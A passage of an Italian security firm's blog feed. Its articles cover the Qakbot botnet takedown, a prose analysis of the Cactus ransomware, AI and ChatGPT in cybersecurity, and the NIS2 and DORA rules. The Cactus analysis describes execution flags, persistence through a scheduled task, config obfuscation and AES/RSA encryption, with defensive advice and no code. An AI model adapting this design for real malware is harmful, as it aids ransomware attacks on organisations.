In particolare, se prevenire un attacco informatico non è sempre possibile, quello che l’azienda può fare è di facilitare il recupero dei dati stessi. Il back up non è un sistema di protezione dai cyber attacchi, ma permette all’azienda colpita di ripartire nel minor tempo possibile. Impostare una corretta strategia di difesa che consideri questi aspetti può assicurare l’identificazione degli attacchi e una rapida ripartenza.

La fine di Qakbot: un nuovo Emotet?

Ilaria Martinelli — Mon, 04 Sep 2023 14:16:01 +0000

Qakbot, malware attivo dal 2008, è stata una minaccia per più di 15 anni, con continue evoluzioni volte ad eludere i controlli di rilevamento. Qakbot è stato utilizzato come vettore di infezione durante diversi attacchi ransomware che hanno infettato oltre 700.000 computer e causato danni per centinaia di milioni di dollari. Solo negli ultimi 18 mesi le perdite hanno superato i 58 milioni di dollari. Nel corso degli anni Qakbot si è affiliato a numerose cyber gang, Conti, REvil e MegaCortex, annoverando tra le ultime anche Black Basta, di cui abbiamo parlato in uno dei nostri articoli.

La botnet di Qakbot si è sviluppata attraverso un’infrastruttura di comando e controllo composta da migliaia di computer utilizzati per sferrare attacchi contro individui e aziende in tutto il mondo, Italia compresa.

Una lunga operazione guidata dall’FBI, a cui hanno preso parte Europol e forze dell’ordine di Francia, Germania, Olanda, Regno Unito, Romania e Lettonia e nota come “Duck Hunt”, ne ha permesso la chiusura. La notte del 29 agosto L’FBI, dopo essersi infiltrato nell’infrastruttura di Qakbot e aver ottenuto il controllo di un computer utilizzato da un amministratore della cyber gang, ha definitivamente chiuso la botnet.

Quello dell’FBi è un modus operandi che ha preso piede con la (prima) chiusura di Emotet nel gennaio 2021, quando l’“operazione Ladybird” aveva visto la cooperazione di Europol ed Eurojust oltre a diverse nazioni Europee, Canada e Stati Uniti.

Durante Duck Hunt il traffico di Qakbot è stato reindirizzato ai server controllati dall’FBI, che ha avuto così modo di accedere e distribuire un programma di disinstallazione sui dispositivi compromessi in tutto il mondo, eliminando l’infezione ed impedendo la distribuzione di ulteriori payload dannosi. Le vittime sarebbero state ignare di questa disinstallazione fino a quando l’FBI non le ha informate tramite una notifica dell’accaduto.

Secondo un’intervista rilasciata dal direttore Christopher Wray, l’FBI ha individuato molti file relativi al funzionamento di Qakbot. Tra i vari documenti, è stato trovato un file denominato “payments.txt” contenente l’elenco delle vittime del ransomware, con i dettagli del sistema informatico, le date e l’importo del pagamento avvenuto.

“Qakbot era la botnet preferita da alcune delle più famigerate bande di ransomware, ma ora è stata eliminata. Questa operazione ha portato anche al sequestro di quasi 9 milioni di dollari in criptovaluta da parte dell’organizzazione criminale informatica Qakbot, che ora sarà messo a disposizione delle vittime”, ha affermato il procuratore americano Martin Estrada. La buona riuscita dell’operazione è stata colta ragionevolmente con entusiasmo dalle parti coinvolte, anche se ad oggi non sono stati effettuati arresti.

Wray ha aggiunto che “Tutto questo è stato reso possibile dal lavoro dedicato dell’FBI di Los Angeles, dalla nostra Divisione Cyber presso la sede dell’FBI e dai nostri partner, sia qui che all’estero. La minaccia informatica che la nostra nazione deve affrontare sta diventando ogni giorno più pericolosa e complessa. Ma il nostro successo dimostra che la nostra stessa rete e le nostre stesse capacità sono più efficaci.”

La vittoria su Quakbot potrebbe in qualche modo dover essere rivista se dovesse accadere quanto abbiamo già visto proprio con Emotet: solo 5 mesi dopo la chiusura della botnet, il malware è tornato – come si suol dire – più forte di prima e ad oggi è sempre più complesso.

Qakbot potrebbe tornare, forse diversa, probabilmente migliore.

Analisi del ransomware Cactus

Marco Prosdocimi — Thu, 29 Jun 2023 14:16:01 +0000

A partire dal mese di marzo, alcuni ricercatori di cybersecurity hanno scoperto un nuovo ransomware chiamato Cactus.

Cactus opera come la maggior parte dei ransomware, rubando i dati dai computer delle vittime prima che vengano crittografati, per poi rivenderli e/o chiedere un riscatto. La caratteristica che lo distingue dagli altri malware è la progettazione pensata per superare i controlli di sicurezza grazie a tecniche di crittografia.

Se si volesse semplificare il suo funzionamento in una frase si potrebbe dire che Cactus crittografa se stesso; questo concetto, come vedremo nella parte di analisi, non è però propriamente corretto.

Rispetto ai ransomware comuni, Cactus utilizza tecniche di crittografia del suo stesso codice per ritardare il rilevamento all’interno del computer in cui sta operando e, quindi, muoversi in modo indisturbato più a lungo possibile, eludendo i controlli antivirus e di monitoraggio della rete. Un’altra caratteristica rilevante è la capacità di cambiare continuamente l’estensione ai file presi di mira dal processo di crittografia: le estensioni utilizzate infatti sono numerose e cambiano in base allo stato in cui si trova il processo crittografico, rendendo quindi più difficile il riconoscimento.

Analisi del malware

L’analisi è stata eseguita sulla base di diversi casi osservati in cui sono state riscontrate delle caratteristiche comuni.

L’accesso iniziale dei threat actors si ottiene da un server VPN vulnerabile. Successivamente, viene creata una backdoor SSH al server C2 malevoli per mantenere l’accesso all’infrastruttura compromessa.

Una volta all’interno della rete, i threat actors tentano di enumerare gli account locali e di rete e gli endpoint raggiungibili, prima di creare nuovi utenti e sfruttare script per automatizzare la diffusione e l’esecuzione del ransomware. Per quanto riguarda il ransomware Cactus partiamo dal nome stesso del binario: esso ha lo stesso nome dell’ID della singola vittima che viene utilizzato per le negoziazioni e che, normalmente, è strutturato in regex [a-z1-9]{4}-[a-z1-9]{4} -[a-z1-9]{4}-[a-z1-9]{4}.exe, ad esempio “a12b-e4fg-c12g-zkc2.exe”, dove il nome prima dell’estensione è l’identificatore della vittima.

L’eseguibile ha 3 modalità principali di esecuzione, che dipendono dalla flag passata da riga di comando.

Setup Mode

Questa modalità viene attivata passando il flag “-s” da riga di comando; il suo scopo è quello di creare una persistenza sulla macchina. Come prima cosa Cactus copia il proprio file eseguibile in C:\ProgramData{Victim_ID}.exe.

In seguito, viene generata una stringa con tre valori, insieme ad altri dati casuali. In particolare si trovano:

Path del file originale
Una stringa base64 che è stata passata da riga di comando dopo la flag “-i”
Eventuali argomenti rimanenti della riga di comando.

La stringa è poi codificata in esadecimale, offuscata spostando di un carattere l’allineamento di ciascuna rappresentazione byte di due caratteri e, infine, scritta sul file C:\ProgramData\ntuser.dat.

Nell’immagine seguente si può osservare come appare il file ntuser.dat dopo l’esecuzione del ransomware.

Fonte: Kroll

Una volta creato il file ntuser.dat, Cactus procede con la creazione e l’esecuzione di un task schedulato che esegue il comando C:\ProgramData{Victim_ID}.exe -r.

Read Configuration Mode

Quando il task pianificato viene eseguito, il ransomware legge il file ntuser.dat ed estrae i tre valori. Cactus elimina quindi il file eseguibile a cui si fa riferimento nel primo valore. Quindi genera un’altra istanza di se stesso, passando il secondo valore come parametro all’opzione “–i”. Infine aggiunge il terzo valore che contiene tutti gli argomenti rimanenti alla riga di comando.

In questa modalità Cactus è eseguito senza i parametri “-s” e “-r”, passando quindi alla terza modalità.

Encryption Mode

Quando il ransomware viene generato senza i parametri “-s” o “-r”, tenterà di cifrare il file system. Il malware decodifica una stringa esadecimale scritta nel codice sorgente.

Dopo aver decodificato la stringa esadecimale, procede quindi a decifrare i dati risultanti, utilizzando l’algoritmo AES con il parametro “-i”. Il risultato viene usato come chiave RSA pubblica.

Il malware crea più thread per cifrare i file presenti nel file system con il seguente schema:

Viene generata una chiave AES casuale per ogni file
La chiave AES viene cifrata con la chiave RSA pubblica.
Il file cifrato AES e la chiave AES cifrata RSA vengono salvati in un unico oggetto.

Fonte: Kroll

Il malware continua a crittografare i file fino al completamento.

Una volta eseguiti, i file vengono aggiunti con l’estensione “cts\d” con l’ultimo carattere che è una cifra casuale. In seguito viene creata una “ransomware note” denominata “cAcTuS.readme.txt” con i dettagli su come la vittima può negoziare tramite la chat TOX.

Fonte: Kroll

Come difendersi

Il consiglio principale è quello di aggiornare tutti i servizi VPN e di implementare servizi per la gestione delle password. Grazie a questi due consigli sarà possibile ridurre l’esposizione alle minacce del malware Cactus. Un altro consiglio, sempre utile, è implementare l’autenticazione a più fattori.

Cosa aspettarsi nel prossimo futuro

Il mondo del cybercrimine è sempre un passo avanti, purtroppo. In futuro ci si dovrà aspettare che i nuovi ransomware siano sempre più sofisticati e difficili da riconoscere, per questo, avere un team dedicato che sia sempre aggiornato sui temi cybersecurity diventerà una necessità per ogni realtà aziendale. Affidarsi ad un SOC permette un monitoraggio continuo della propria infrastruttura per verificare eventuali anomalie, in ²⁴⁄₇.

L'intelligenza artificiale nella cybersecurity

Ilaria Martinelli — Thu, 15 Jun 2023 14:16:01 +0000

A seguito dell’articolo di qualche settimana fa che trattava i rischi che possono nascere dall’utilizzo di ChatGPT, nei prossimi paragrafi si indaga il ruolo che l’intelligenza artificiale (in inglese Artificial Intelligence o AI) ricopre nel mondo della cybersecurity, analizzando i vantaggi e i rischi.

L’intelligenza artificiale è entrata nella vita di tutti i giorni ed è ormai utilizzata da gran parte delle aziende per poter semplificare processi aziendali, automatizzare parti ripetitive, ridurre gli errori e permettere la creazione e lo sviluppo di nuovi prodotti.

È plausibile presupporre che le aziende in grado di servirsi di queste tecnologie saranno le prime a poter beneficiare di un enorme vantaggio competitivo nel medio termine.

Cos’è l’intelligenza artificiale

Secondo il Politecnico di Milano, l’intelligenza artificiale è “il ramo della computer science che studia lo sviluppo di sistemi hardware e software dotati di capacità tipiche dell’essere umano ed in grado di perseguire autonomamente una finalità definita prendendo delle decisioni che, fino a quel momento erano solitamente affidate agli uomini”.

Il termine AI inizia a diventare di uso comune grazie a John McCarthy che nel 1956 lo coniò durante la famosa conferenza di Dartmouth. Iniziò a teorizzare come un computer potesse essere in grado di comportarsi come un essere umano, simulando gli aspetti di apprendimento.

Un sistema di AI non si basa sulla programmazione, bensì su tecniche di apprendimento: vengono definiti degli algoritmi che elaborano un’enorme quantità di dati, dai quali è il sistema stesso a derivare le proprie capacità di ragionamento e di comprensione all’interno di un ambiente di calcolo dinamico.

Le componenti chiave quando si parla di AI sono:

Sistemi di calcolo
Dati e sistemi per la gestione
Algoritmi di AI avanzati

Utilizzo dell’intelligenza artificiale in Italia

In Italia, secondo uno studio dell’Osservatorio Artificial Intelligence del Politecnico di Milano, il mercato delle soluzioni e dei servizi nel 2022 ha raggiunto il valore di 500 milioni di euro, facendo registrare una crescita del 32% in un anno.

6 aziende su 10 hanno avviato almeno un progetto basato su questa tecnologia; il 73% delle iniziative è stato avviato direttamente da realtà italiane, mentre il 27% fa riferimento a progetti internazionali. Se si considerano solo le PMI, invece, queste percentuali diminuiscono drasticamente: solo il 15% ha un progetto AI avviato.

Ruolo dell’AI nella cybersecurity

Gli attacchi informatici crescono di volume e complessità; in questo contesto, l’intelligenza artificiale aiuta a rendere più accurata la threat intelligence mediante l’analisi di documenti e informazioni utili e flussi di lavoro più snelli ed autonomi. In particolare, permette di rilevare anomalie ed attività con tempistiche ridotte, monitora intrusioni non autorizzate, automatizza processi di gestione della sicurezza, protegge i dati sensibili all’interno dell’infrastruttura aziendale, assegna priorità ai livelli di rischio e permette di ridurre i tempi di risposta agli incidenti.

Non bisogna però scordarsi che l’intelligenza artificiale è impiegata anche dai cyber criminali per mettere in piedi attacchi informatici ad hoc.

L’AI può essere utilizzata, infatti, per creare codice malevolo, per individuare e sfruttare vulnerabilità e per mettere in piedi campagne phishing sempre più sofisticate.

La creazione di testo, grazie all’AI, ha reso le campagne phishing difficili da riconoscere tanto da spingere alcuni ricercatori a fare un esperimento su questo tema per capire la facilità di riconoscimento da parte degli utenti di e-mail generate da AI, rispetto ad e-mail scritte dall’essere umano. Alla fine dell’esperimento è stato osservato come la maggior parte dei riceventi avesse cliccato sulla mail generata dall’AI, inserendo codici e credenziali, poiché convinti che il messaggio fosse attendibile. I risultati, seppur su un campione ridotto e target omogeneo, hanno sottolineato come l’AI potrebbe giocare un ruolo chiave nelle campagne phishing, aumentando i rischi per gli utenti di caderne vittime.

I rischi e i vantaggi cyber

Come già anticipato nell’articolo su ChatGPT, ci sono diversi rischi quando si parla di AI, per questo è importante conoscerli per prevenirli.

Esistono diverse tecniche di attacco baste sull’AI: una delle più pericolose riguarda la realizzazione di codice dannoso per la creazione di minacce Zero-day, ovvero quelle minacce mai viste per cui non è disponibile nessuna patch, cioè nessuna protezione. Un ulteriore rischio riguarda la possibilità che i cyber criminali possano manipolare i sistemi di AI per eludere le misure di sicurezza. È necessario monitorare e valutare costantemente l’efficacia di queste soluzioni ed essere sempre aggiornati sugli sviluppi in campo cyber security.

Se da un lato vi sono dei rischi, esistono anche dei vantaggi. L’AI può essere una grande alleata della cybersecurity per la prevenzione degli attacchi, soprattutto se utilizzata nei processi di monitoraggio e nelle procedure di analisi. Grazie all’intelligenza artificiale è possibile scovare anomalie, identificare attacchi in corso e aumentare la protezione in maniera proattiva. Come? Potendo analizzare l’intero ecosistema aziendale, si avrà una visione completa delle interazioni che avvengo all’interno dello stesso, anticipando il rilevamento delle minacce.

La superficie di attacco nei moderni ambienti aziendali è sempre in aumento, così come i volumi di dati che devono essere monitorati ed analizzati per individuare potenziali rischi. È necessario un nuovo livello di soluzioni per contrastare le minacce informatiche: l’AI è lo strumento che, se combinato con l’esperienza umana ed altre tecnologie di sicurezza, può fornire la massima protezione. L’importanza di affidarsi ad un Security Operation Center riguarda proprio l’erogazione di un servizio che permette, una volta rilevata un’anomalia, di verificare il grado della minaccia e di mettere in campo le misure di response necessarie. In altre parole, per valutazione delle conseguenze e per valutare l’impatto sociale ed economico, deve entrare in gioco l’intelligenza umana.

Le implicazioni dell'uso di ChatGPT nella sicurezza informatica

Francesca Cioffi — Wed, 17 May 2023 14:16:01 +0000

Negli ultimi mesi l’intelligenza artificiale è tornata al centro dell’attenzione soprattutto a partire da novembre 2022, quando sul mercato è arrivato ChatGPT, uno strumento di elaborazione del linguaggio naturale basato sull’intelligenza artificiale.

ChatGPT è un modello di intelligenza artificiale basato sull’architettura GPT-3.5, il terzo modello di Generative Pretrained Transformer sviluppato da OpenAI. Quello utilizzato, fa parte di un gruppo di modelli di intelligenza artificiale tecnicamente chiamati LLM (Large Language Model) e basati sul machine learning. Funzionano utilizzando una tecnica di deep learning nota come transformer, che consiste nell’utilizzare una rete neurale per analizzare e comprendere il significato di un testo.

ChatGPT è dunque uno strumento di elaborazione del linguaggio naturale (o Natural Language Processing) che utilizza algoritmi avanzati di apprendimento automatico per generare risposte simili a quelle umane all’interno di un discorso.

Grazie alla sua facile usabilità e alla capacità di fornire risposte immediate a un’ampia gamma di domande, di elaborare testi complessi e di risolvere problemi, ChatGPT si è diffuso rapidamente tra gli utenti di tutto il mondo. Tuttavia, ha un grande limite: il database delle informazioni è fermo all’anno 2021 e, dunque, non è in grado di fornire risposte aggiornate.

ChatGPT e regolamentazione

Nel contesto italiano si è verificato il primo caso di regolamentazione del software di intelligenza artificiale relazionale tramite uno stop del Garante Per la Protezione dei Dati Personali il 31 marzo 2023. Il Garante della Privacy ha imposto una limitazione provvisoria del trattamento dei dati degli utenti italiani nei confronti di OpenAI, la società statunitense che ha creato e gestisce la piattaforma, in seguito a un data breach accaduto il 20 marzo 2023, in cui risultavano visibili le conversazioni dei singoli utenti e le informazioni relative al pagamento degli abbonati al servizio.

I punti contestati dall’Autorità amministrativa italiana sono diversi, a partire dalla mancanza di un’informativa esplicita agli utenti i cui dati vengono raccolti da OpenAI, all’assenza di una base giuridica che giustifichi la raccolta e la conservazione massiccia di dati personali, fino ad arrivare alla mancata verifica dell’età degli utenti, dando quindi il via libera indiscriminato all’uso della piattaforma da parte di minorenni esposti al rischio di risposte inadeguate.

Dopo qualche settimana, il 13 aprile 2023, durante la riunione dell’European Data Protection Board (EDPB), le Autorità garanti della UE hanno deciso di istituire una task force “per promuovere la cooperazione e lo scambio di informazioni su eventuali azioni di applicazione condotte alle Autorità di protezione dei dati” e avere un’uniformità di approccio e di interpretazione tra le varie autorità.

Per quanto riguarda l’Italia, l’uso di ChatGPT è stato ripristinato ed entro il 15 maggio 2023 Open AI dovrà promuovere una campagna di informazione su emittenti radiofoniche, televisive, stampa e web per rendere note le modalità di utilizzo dei dati personali ai fini dell’addestramento degli algoritmi.

Quanto costa ChatGPT?

Secondo quanto riportato da The Information, tenere attivo ChatGPT ha un costo superiore ai 700.000 dollari al giorno per OpenAI, costo dovuto prevalentemente al mantenimento dei server. In effetti, nel 2022 l’azienda ha segnato un passivo di 540 milioni di dollari, la cui maggior parte è stata causata proprio dalla programmazione e dalla gestione del tool.

A febbraio di quest’anno, OpenAI ha lanciato il servizio a pagamento ChatGPT Plus al costo di 20 dollari al mese. Il servizio permette di ottenere tempi di risposta più rapidi e avere accesso prioritario alle nuove funzionalità, oltre a rimpinguare le casse dell’azienda. La situazione economica potrebbe comunque peggiorare per l’aumento esponenziale del fruitore della piattaforma e la conseguente necessità di migliorare e velocizzare gli algoritmi. Ad ogni modo, l’azienda non corre rischi di fallimento in quanto la multinazionale Microsoft ha investito oltre 10 miliardi di dollari assicurandosi l’opportunità di utilizzare i modelli di OpenAI nei suoi prodotti.

Gli effetti dell’uso di ChatGPT in ambito di sicurezza informatica

ChatGPT, come tutti i tipi di tecnologie, può essere utilizzato per semplificare la vita degli uomini, ma anche per renderla più complicata.

Da un lato, ChatGPT può essere interpellato per ottenere codice dannoso, per individuare una vulnerabilità scoperta recentemente e dunque per rendere ancora più semplice e automatizzato il processo di attacco a un’infrastruttura. Inoltre, può essere sfruttato per migliorare le tecniche di ingegneria sociale e rendere gli attacchi di phishing più mirati, sofisticati e realistici. Ancora, il software di intelligenza artificiale può essere utilizzato per campagne DeepFake: infatti, partendo dalla sua funzione principale, ovvero quella di chatbot, aggiungendo un’interfaccia testuale avanzata e la registrazione di immagini, video e audio, la tecnologia può creare un output video che rappresenta la persona mentre recita frasi che non ha mai realmente detto. In questo caso, i DeepFake possono essere impiegati in campagne diffamatorie, frodi, furti e personificazioni del tutto illegali.

Dall’altro lato, ChatGPT può essere adoperato per far progredire la sicurezza informatica. Ad esempio, i vendor possono individuare e risolvere le vulnerabilità più velocemente, in modo da rendere più sicuro l’utilizzo dei software ed evitare di lasciare porte aperte a potenziali attaccanti. Inoltre, ChatGPT può essere integrato nella formazione anti-phishing di un’azienda per aumentare la consapevolezza dei dipendenti.

In conclusione, consigliamo di utilizzare ChatGPT in modo consapevole, evitando di condividere informazioni sensibili riguardanti il proprio lavoro. Amazon e Microsoft hanno richiesto ai propri dipendenti di non trasferire informazioni riservate o pezzi di codice, aggiungendo che in caso di fuga di informazioni riservate sarebbe difficile individuare il colpevole. Una fuga di notizie, infatti, si è verificata di recente per il colosso sudcoreano Samsung, dove alcuni dipendenti hanno utilizzato ChatGPT per correggere codice sorgente e per ottimizzare codice che identificava chip difettosi. Come si evince, si tratta di dati particolarmente confidenziali che sono stati raccolti da OpenAI.

Ricordiamo che ChatGPT è un software che raccoglie tutti i dati condivisi e li utilizza per alimentare il suo dataset.

Direttiva NIS2: nuove misure per la cybersecurity

Ilaria Martinelli — Thu, 20 Apr 2023 10:36:01 +0000

La Direttiva NIS2, entrata in vigore il 17 gennaio 2023, ha l’obiettivo di disciplinare le misure di gestione del rischio di sicurezza informatica e gli obblighi di segnalazione nei settori destinatari della direttiva. Insieme al Digital Operational Resilience Act (Regolamento DORA), mira a creare un nuovo framework europeo attraverso due principali obiettivi: aumentare il livello di resilienza informatica degli attori, sia pubblici che privati, e migliorare il livello di consapevolezza delle minacce informatiche al fine di sviluppare una maggiore capacità di prevenzione, gestione e risposta.

NIS1

La Direttiva NIS2 prende forma dalla Direttiva NIS (Direttiva UE ²⁰¹⁶⁄₁₁₄₈), pubblicata nella Gazzetta ufficiale dell’Unione Europea nel 2016, e può essere considerata il primo atto della strategia legislativa europea in materia di cybersecurity.

La Direttiva NIS aveva fissato specifici obiettivi che avrebbero dovuto tradursi nell’adozione coordinata di misure tecniche ed organizzative da parte degli Stati membri, per il rafforzamento dei livelli di sicurezza e il miglioramento della gestione degli incidenti cyber.

Questi piani hanno mostrato nel corso del tempo alcuni limiti dovuti principalmente alla rapida digitalizzazione dei processi da parte delle società, anche in seguito alla crisi pandemica, e alla conseguente crescita degli attacchi cibernetici.

Nonostante il valore della Direttiva NIS, è nata la necessità di innalzare il livello di sensibilità sul tema della cybersecurity, estendendo il campo di applicazione anche a nuovi settori.

Diversi di questi, inizialmente esclusi, sono divenuti con il tempo “essenziali” e, non essendosi adeguati nel corso degli anni, si sono dimostrati più impreparati nella gestione delle minacce cibernetiche. Per questo motivo, l’Unione Europea ha ravvisato la necessità di integrare la Direttiva attraverso la nascita dell’odierna Direttiva NIS2.

I soggetti interessati

La Direttiva NIS si rivolge agli operatori che svolgono le proprie attività nei sette settori considerati essenziali, ovvero energia, trasporti, banche, infrastruttura dei mercati finanziari, acqua potabile, sanità e infrastrutture digitali.

Il legislatore, con la Direttiva NIS2, ha incluso altri attori attivi in settori sia “ad alta criticità”, ovvero quelli delle acque reflue, della gestione dei servizi ICT, della pubblica amministrazione e dello spazio, sia circoscrivibili ad “altri settori critici”, come i servizi postali e di corriere, la gestione dei rifiuti e le organizzazioni di ricerca.

Nella Direttiva NIS2 viene sancito che gli Stati membri provvedano affinché i soggetti adottino le misure tecniche, operative ed organizzative adeguate a gestire i rischi oltre che a prevenire o ridurre al minimo l’impatto degli incidenti.

Nella valutazione dell’adeguatezza delle misure individuate occorre tenere in considerazione:

L’esposizione del soggetto ai rischi
La grandezza del soggetto
La probabilità che si verifichino incidenti e la loro gravità
L’impatto sociale ed economico dell’incidente

Le novità

Le novità in termini di attività di valutazione dei rischi riguardano una serie di misure tecniche ed organizzative come:

politiche relative all’analisi dei rischi e di sicurezza dei sistemi informatici;
gestione degli incidenti;
gestione della continuità operativa, come la gestione del backup e il ripristino in caso di disastro, e la gestione delle crisi;
sicurezza della catena di approvvigionamento, ivi compresi gli aspetti relativi alla sicurezza riguardanti i rapporti tra ciascun soggetto e i suoi diretti fornitori o fornitori di servizi;
sicurezza dell’acquisizione, dello sviluppo e della manutenzione dei sistemi informatici e di rete, compresa la gestione e la divulgazione delle vulnerabilità;
strategie e procedure per valutare l’efficacia delle misure di gestione dei rischi legati alla cybersecurity;
pratiche di igiene informatica di base e di formazione in materia di cybersecurity;
politiche e le procedure relative all’uso della crittografia e della cifratura;
sicurezza delle risorse umane, strategie di controllo dell’accesso e gestione delle utenze attive;
uso di soluzioni di autenticazione a più fattori (cd. multi factor authentication) o di autenticazione continua, di comunicazioni vocali, video e testuali protette e di sistemi di comunicazione di emergenza protetti.

Tali misure devono essere approvate dagli organi direttivi delle imprese coinvolte, i quali sono chiamati a partecipare a sessioni di formazione in materia cybersecurity.

Inoltre, i soggetti interessati da un incidente informatico devono intraprendere un iter di notifica alle autorità competenti organizzato in diverse fasi:

un preallarme entro il termine di 24 ore dalla conoscenza dell’incidente;
una notifica entro il termine di 72 ore dalla conoscenza dell’incidente, che aggiorni – se necessario – le informazioni del preallarme;
una relazione finale entro un mese dalla trasmissione della notifica, il cui contenuto minimo è dettagliato dal legislatore.

Per la valutazione di un incidente significativo e grave, il legislatore ha specificato che si dovrà tener conto se:

l’incidente ha causato o è in grado di causare una grave perturbazione operativa dei servizi o perdite finanziarie per l’azienda vittima;
se l’incidente si è ripercosso o è in grado di ripercuotersi su altre persone fisiche o giuridiche, causando perdite materiali o immateriali considerevoli.

Entrata in vigore

In un periodo storico come quello attuale, le iniziative europee come la Direttiva NIS 2 e il regolamento DORA mirano a mettere in campo una serie di attività per l’implementazione della garanzia dei dati dei propri clienti e la sicurezza delle proprie operazioni di business. Pertanto, è bene che tutti i soggetti interessati dalla normativa in materia di cybersecurity inizino a predisporre un piano tecnico organizzativo di adeguamento.

L’abrogazione della Direttiva NIS e il recepimento della nuova direttiva saranno efficaci solo a partire dal 18 ottobre 2024, lasciando così un margine di pianificazione di ben 21 mesi. I soggetti interessati dalla Direttiva NIS 2 dovranno investire fin da subito tempo e risorse per prepararsi al suo recepimento all’interno dei processi aziendali entro la data ultima. Sarà necessario valutare e, se opportuno, ripensare tutti i principali processi interni di cybersecurity, sulla base dei nuovi obiettivi e dei nuovi obblighi di sicurezza.

Questa direttiva, insieme al regolamento DORA, sono il primo passo di una nuova visione sul lungo periodo. Il mondo della sicurezza informatica è in continuo cambiamento, per questo è fondamentale affidarsi a chi può portare le nuove tecnologie ed i nuovi processi all’interno dell’azienda, intraprendendo un percorso che deve essere visto in un’ottica di continuità e non come un singolo ed isolato intervento.

Regolamento DORA: Nuovi obblighi in tema cybersecurity

Ilaria Martinelli — Thu, 30 Mar 2023 14:16:01 +0000

Il Regolamento DORA (Digital Operational Resilience Act), relativo alla resilienza operativa digitale per il settore finanziario, è stato approvato dal Parlamento europeo nella seduta del 10 novembre 2022.

Il Regolamento fa parte di un pacchetto di misure strategiche che mira a garantire la capacità delle imprese di affrontare gli attacchi informatici ed implementare le misure di governance, cybersecurity, gestione del rischio e segnalazione degli incidenti.

DORA è entrato in vigore il ventesimo giorno successivo alla pubblicazione nella Gazzetta Ufficiale dell’Unione Europea, cioè il 16 gennaio 2023, e diventerà vincolante dopo 24 mesi dalla data di entrata in vigore, a partire, quindi, dal 17 gennaio 2025. In poche parole, le aziende dovranno attivare un piano di adeguamento da completare entro la fine del 2024.

Obiettivo del regolamento

L’obiettivo del regolamento DORA è quello di riunire in un unico atto legislativo tutte le diverse norme sui rischi informatici e le disposizioni in materia di rischio digitale nel settore finanziario. Il regolamento mira, quindi, a colmare le lacune e porre rimedio alle incoerenze degli atti legislativi precedenti.

Il raggiungimento dei temi trattati dal regolamento può avvenire attraverso diverse attività, riassumibili in 5 macro-punti:

Segnalazione di incidenti connessi alle ICT
Gestione del rischio
Test di resilienza operativa digitale con il fine di accrescere la consapevolezza
Rischi relativi a terze parti
Condivisione delle informazioni

Nei prossimi paragrafi analizzeranno nel dettaglio ciascuno dei punti sopra.

Segnalazione di incidenti connessi alle ICT

Il primo aspetto riguarda la segnalazione di incidenti informatici. Con l’introduzione del nuovo regolamento le entità finanziarie saranno obbligate a segnalare alle autorità competenti gli incidenti gravi connessi alle ITC, oltre che a notificare le minacce informatiche significative. Sono da considerarsi anche le segnalazioni di gravi incidenti operativi o relativi alla sicurezza dei pagamenti. In quest’ottica, sarà fondamentale la condivisione dei dati e delle informazioni relative alle vulnerabilità e minacce, oltre che l’esecuzione di test di resilienza operativa digitale. Tutte le informazioni relative alle segnalazioni di incidenti sono consultabili, più nel dettaglio, nel primo capitolo del regolamento.

Gestione del rischio

Il secondo capitolo fa invece riferimento alla gestione del rischio. In particolare, è previsto che le aziende dispongano di una governance interna e di un quadro di controllo che sovraintendono la gestione del rischio affinché sia efficace e prudente. Inoltre sono responsabili per la delega delle attività operative di monitoraggio ad un organo di gestione preposto, il quale dovrà agire tramite una serie definita di compiti. Tutto ciò può avvenire tramite l’utilizzo di strumenti e sistemi di ICT resilienti, tali da ridurre al minimo l’impatto dei relativi rischi. Tra i diversi articoli vengono elencate le maggiori attività coinvolte, come l’introduzione di misure di protezione e prevenzione, l’individuazione tempestiva di attività anomale, la messa in atto di politiche di continuità operativa e piani di ripristino in caso di disastro, la predisposizione di personale idoneo alla raccolta delle informazioni relative a minacce e vulnerabilità, il riesamino di incidenti passati con l’obiettivo di condividere gli insegnamenti, la definizione di piani di comunicazione verso gli stakeholder ed infine la definizione di norme tecniche e regolamentazione.

Test di resilienza

L’attuazione di test di resilienza, così come elencato nel quarto capitolo del regolamento, è volto ad accrescere la consapevolezza da parte delle autorità di vigilanza sui rischi informatici e sugli incidenti cui sono esposte le entità finanziarie. In particolare, attraverso una serie di test periodici sarà possibile identificare i punti deboli, le carenze o le lacune, al fine di attuare tempestivamente le misure correttive con un’applicazione proporzionata alle proprie dimensioni ed al proprio profilo di rischio.

Rischi relativi alle terze parti

Nel quinto capitolo vengono elencati i poteri di sorveglianza sui rischi che sono conferiti alle autorità di vigilanza finanziaria. La necessità di indirizzare i poteri di sorveglianza è dovuta alla dipendenza delle entità finanziarie, come di tutte le aziende, da fornitori terzi di servizi. Gli aspetti contrattuali chiave saranno armonizzati per garantire che le società finanziarie monitorino i rischi di terzi. Inoltre, i fornitori terzi di servizi ITC critici saranno sottoposti a un quadro di sorveglianza dell’Unione. Per ciascun fornitore terzo sarà poi definita un’autorità di sorveglianza capofila alla quale sono conferiti poteri idonei a garantire l’adeguato monitoraggio dei fornitori di servizi tecnologici.

Condivisione delle informazioni

In assenza di orientamenti a livello europeo, alcuni fattori hanno nel tempo ostacolato la condivisione di informazioni preziose e utili per arginare i rischi informatici. Nel contesto attuale, la crescente complessità e sofisticatezza dei rischi informatici, così come i dubbi degli operatori finanziari sul tipo di informazioni condivisibili sono stati alcuni tra i principali motivi che hanno spinto la legislazione europea ad estendere il perimetro dell’intervento normativo realizzato con il Regolamento DORA anche agli ambiti della comunicazione e della condivisione di informazioni sui rischi e sulle minacce informatiche. Tramite l’istituzione di accordi tra le entità finanziarie sarà possibile uno scambio di informazioni e di dati più lineare e trasparente.

A chi si applica

Il presente regolamento si applica alle seguenti entità:

Enti creditizi;
Istituti di pagamento, compresi gli istituti di pagamento esentati a norma della direttiva (UE) ²⁰¹⁵⁄₂₃₆₆;
Prestatori di servizi di informazione sui conti;
Istituti di moneta elettronica, compresi gli istituti di moneta elettronica esentati a norma della direttiva 2009/110/CE;
Imprese di investimento;
Fornitori di servizi per le cripto-attività autorizzati a norma del regolamento del Parlamento europeo e del Consiglio concernente i mercati delle cripto-attività e recante modifica dei regolamenti (UE) n. ¹⁰⁹³⁄₂₀₁₀ e (UE) n. ¹⁰⁹⁵⁄₂₀₁₀ e delle direttive 2013/36/UE e (UE) ²⁰¹⁹⁄₁₉₃₇ (regolamento sui mercati delle cripto-attività) ed emittenti di token collegati ad attività;
Depositari centrali di titoli;
Controparti centrali;
Sedi di negoziazione;
Repertori di dati sulle negoziazioni;
Gestori di fondi di investimento alternativi;
Società di gestione;
Fornitori di servizi di comunicazione dati;
Imprese di assicurazione e di riassicurazione;
Intermediari assicurativi, intermediari riassicurativi e intermediari assicurativi a titolo accessorio;
